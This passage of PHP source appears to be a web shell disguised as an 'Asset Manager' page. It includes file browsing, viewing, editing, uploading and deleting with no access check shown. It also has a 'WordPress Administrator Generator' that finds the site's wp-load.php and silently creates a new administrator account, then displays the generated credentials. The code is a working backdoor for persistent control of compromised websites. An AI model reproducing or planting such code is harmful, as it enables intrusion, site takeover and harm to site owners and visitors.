'success', 'message' => $message];
} elseif (file_exists($target)) {
@unlink($target);
$message = "📄 File deleted: " . basename($target);
$_SESSION['flash'] = ['type' => 'success', 'message' => $message];
}
}
header("Location: ?path=" . urlencode($current_path));
exit;
}
// WordPress Administrator Generator
if (isset($_GET['wpadmin'])) {
$wp_path = $current_path;
$found = false;
// Locate WordPress installation
while ($wp_path !== '/') {
if (file_exists("$wp_path/wp-load.php")) {
$found = true;
break;
}
$wp_path = dirname($wp_path);
}
if ($found) {
require_once("$wp_path/wp-load.php");
// Generate random credentials
$username = 'admin_' . bin2hex(random_bytes(3));
$password = generate_secure_password();
$email = $username . '@' . substr(md5($wp_path), 0, 8) . '.local';
// Check if user exists
if (!username_exists($username) && !email_exists($email)) {
$user_id = wp_create_user($username, $password, $email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
// Store credentials in session for display
$_SESSION['wp_credentials'] = [
'username' => $username,
'password' => $password,
'email' => $email,
'site' => get_site_url()
];
$_SESSION['flash'] = [
'type' => 'success',
'message' => '✅ WordPress Administrator created successfully!'
];
}
} else {
$_SESSION['flash'] = [
'type' => 'warning',
'message' => '⚠️ User already exists in the system'
];
}
} else {
$_SESSION['flash'] = [
'type' => 'error',
'message' => '❌ WordPress installation not found'
];
}
header("Location: ?path=" . urlencode($current_path));
exit;
}
// Secure password generator
function generate_secure_password($length = 16) {
$sets = [
'abcdefghijklmnopqrstuvwxyz',
'ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789',
'!@#$%^&*()_+-=[]{}|;:,.<>?'
];
$password = '';
foreach ($sets as $set) {
$password .= $set[random_int(0, strlen($set) - 1)];
}
$all = implode('', $sets);
for ($i = 0; $i < $length - count($sets); $i++) {
$password .= $all[random_int(0, strlen($all) - 1)];
}
return str_shuffle($password);
}
// Breadcrumb navigation generator
function generate_breadcrumbs($path) {
$parts = explode('/', trim($path, '/'));
$current = '/';
$breadcrumbs = [];
foreach ($parts as $part) {
if ($part === '') continue;
$current .= $part . '/';
$breadcrumbs[] = [
'name' => $part,
'path' => $current
];
}
return $breadcrumbs;
}
// File system explorer
function explore_directory($path) {
if (!is_dir($path) || !is_readable($path)) {
return '
Cannot read directory
';
}
$items = @scandir($path);
if ($items === false) {
return 'Directory scan failed
';
}
$directories = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full_path = $path . '/' . $item;
$is_dir = is_dir($full_path);
$size = $is_dir ? '' : format_size(@filesize($full_path));
$modified = @date('Y-m-d H:i', filemtime($full_path));
$perms = substr(sprintf('%o', fileperms($full_path)), -4);
$item_data = [
'name' => $item,
'path' => $full_path,
'is_dir' => $is_dir,
'size' => $size,
'modified' => $modified,
'perms' => $perms,
'icon' => get_file_icon($item, $is_dir)
];
if ($is_dir) {
$directories[] = $item_data;
} else {
$files[] = $item_data;
}
}
// Sort directories and files
usort($directories, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
usort($files, function($a, $b) {
return strcasecmp($a['name'], $b['name']);
});
return ['directories' => $directories, 'files' => $files];
}
// Format file size
function format_size($bytes) {
if ($bytes >= 1073741824) {
return number_format($bytes / 1073741824, 2) . ' GB';
} elseif ($bytes >= 1048576) {
return number_format($bytes / 1048576, 2) . ' MB';
} elseif ($bytes >= 1024) {
return number_format($bytes / 1024, 2) . ' KB';
} else {
return $bytes . ' B';
}
}
// Get file icon based on type
function get_file_icon($filename, $is_dir = false) {
if ($is_dir) return '📁';
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = [
'php' => '🐘',
'js' => '📜',
'css' => '🎨',
'html' => '🌐',
'txt' => '📝',
'md' => '📘',
'json' => '📋',
'xml' => '📄',
'sql' => '🗄️',
'jpg' => '🖼️',
'jpeg' => '🖼️',
'png' => '🖼️',
'gif' => '🎬',
'pdf' => '📕',
'zip' => '📦',
'tar' => '📦',
'gz' => '📦',
'log' => '📊',
'ini' => '⚙️',
'conf' => '⚙️',
'sh' => '🐚',
'py' => '🐍',
'java' => '☕',
];
return $icons[$ext] ?? '📄';
}
// File viewer/editor
if (isset($_GET['view'])) {
$file = basename($_GET['view']);
$file_path = $current_path . '/' . $file;
if (file_exists($file_path) && is_readable($file_path)) {
$content = htmlspecialchars(@file_get_contents($file_path));
$view_mode = true;
}
}
if (isset($_GET['edit'])) {
$file = basename($_GET['edit']);
$file_path = $current_path . '/' . $file;
$edit_mode = true;
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
if (@file_put_contents($file_path, $_POST['content'])) {
$_SESSION['flash'] = [
'type' => 'success',
'message' => '✅ File saved successfully'
];
header("Location: ?path=" . urlencode($current_path) . "&edit=" . urlencode($file));
exit;
}
}
if (file_exists($file_path) && is_readable($file_path)) {
$content = htmlspecialchars(@file_get_contents($file_path));
}
}
// File upload handler
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
$uploaded_file = $_FILES['upload_file'];
if ($uploaded_file['error'] === UPLOAD_ERR_OK) {
$target_path = $current_path . '/' . basename($uploaded_file['name']);
if (move_uploaded_file($uploaded_file['tmp_name'], $target_path)) {
$_SESSION['flash'] = [
'type' => 'success',
'message' => '📤 File uploaded: ' . basename($uploaded_file['name'])
];
}
}
header("Location: ?path=" . urlencode($current_path));
exit;
}
// Create directory handler
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_dir'])) {
$dir_name = trim($_POST['dir_name']);
if ($dir_name && preg_match('/^[a-zA-Z0-9_.-]+$/', $dir_name)) {
$new_dir = $current_path . '/' . $dir_name;
if (!file_exists($new_dir)) {
if (@mkdir($new_dir, 0755)) {
$_SESSION['flash'] = [
'type' => 'success',
'message' => '📁 Directory created: ' . $dir_name
];
}
}
}
header("Location: ?path=" . urlencode($current_path));
exit;
}
// Display flash messages
$flash_message = '';
if (isset($_SESSION['flash'])) {
$flash = $_SESSION['flash'];
$flash_message = '' . $flash['message'] . '
';
unset($_SESSION['flash']);
}
// Display WordPress credentials if available
$wp_credentials_html = '';
if (isset($_SESSION['wp_credentials'])) {
$creds = $_SESSION['wp_credentials'];
$wp_credentials_html = '
🔐 WordPress Administrator Credentials
Username:
' . htmlspecialchars($creds['username']) . '
Password:
' . htmlspecialchars($creds['password']) . '
Email:
' . htmlspecialchars($creds['email']) . '
Site URL:
' . htmlspecialchars($creds['site']) . '
Save these credentials securely. They will not be shown again.
';
unset($_SESSION['wp_credentials']);
}
// Get directory contents
$explorer_data = explore_directory($current_path);
$breadcrumbs = generate_breadcrumbs($current_path);
?>
📊 Asset Manager
✏️ Editing: = htmlspecialchars($file) ?>
👁️ Viewing: = htmlspecialchars($file) ?>